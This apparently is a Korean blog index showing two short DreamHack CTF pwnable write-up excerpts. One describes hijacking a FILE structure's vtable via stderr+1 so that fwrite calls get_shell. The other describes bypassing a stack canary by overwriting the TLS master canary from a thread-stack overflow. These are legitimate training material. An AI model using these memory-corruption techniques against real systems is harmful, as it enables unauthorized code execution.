๋ฉ”๋‰ด 4๋ฒˆ์ด read(0, stderr + 1, 8) ์„ ํ•œ๋‹ค. stderr ๋Š” FILE ํฌ์ธํ„ฐ๋ผ +1 ์€ 8๋ฐ”์ดํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ตฌ์กฐ์ฒด ํ•˜๋‚˜๋งŒํผ, ์ฆ‰ 0xd8 ์„ ๊ฑด๋„ˆ๋›ด๋‹ค. ๊ทธ ์ž๋ฆฌ๊ฐ€ ํ•˜ํ•„ _IO_FILE_plus ์˜ vtable ํฌ์ธํ„ฐ๋‹ค. ์ „์—ญ ๋ฐฐ์—ด name ์— get_shell ์ฃผ์†Œ๋ฅผ ๋ฏธ๋ฆฌ ๋„ฃ์–ด ๋‘๊ณ  vtable ์„ name - 0x38 ๋กœ ๋Œ๋ฆฌ๋ฉด, fwrite ๊ฐ€ ๋ถ€๋ฅด๋Š” __xsputn ์นธ์ด ์ •ํ™•ํžˆ name ์— ๊ฒน์นœ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-31#dreamhack +4
[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด

์Šค๋ ˆ๋“œ ์•ˆ์—์„œ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์œ„๋กœ ๋ฌด์ œํ•œ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” pwnable. ์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์ด ์—†์–ด ๋ณด์ด์ง€๋งŒ, ์‚ฌ์‹ค ์œ ์ถœํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ๊ฒ€์‚ฌ์— ์“ฐ์ด๋Š” ์›๋ณธ(TLS์˜ fs:0x28)์ด ๋„˜์น˜๋Š” ๋ฒ„ํผ์™€ ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ์–ด์„œ, ์Šคํƒ ๋ณต์‚ฌ๋ณธ๊ณผ ์›๋ณธ์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ํ•จ๊ป˜ ๋ฎ์œผ๋ฉด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ๋‹ค๋งŒ ๊ทธ ์‚ฌ์ด์— ๋†“์ธ TCB ํ•„๋“œ๋ฅผ ๊ทธ๋ƒฅ ๋ญ‰๊ฐœ๋ฉด ๋‹ค์Œ read()๊ฐ€ ์ฃฝ๋Š”๋‹ค.
#dreamhack#ctf#pwnable+6
2026-07-28#dreamhack +4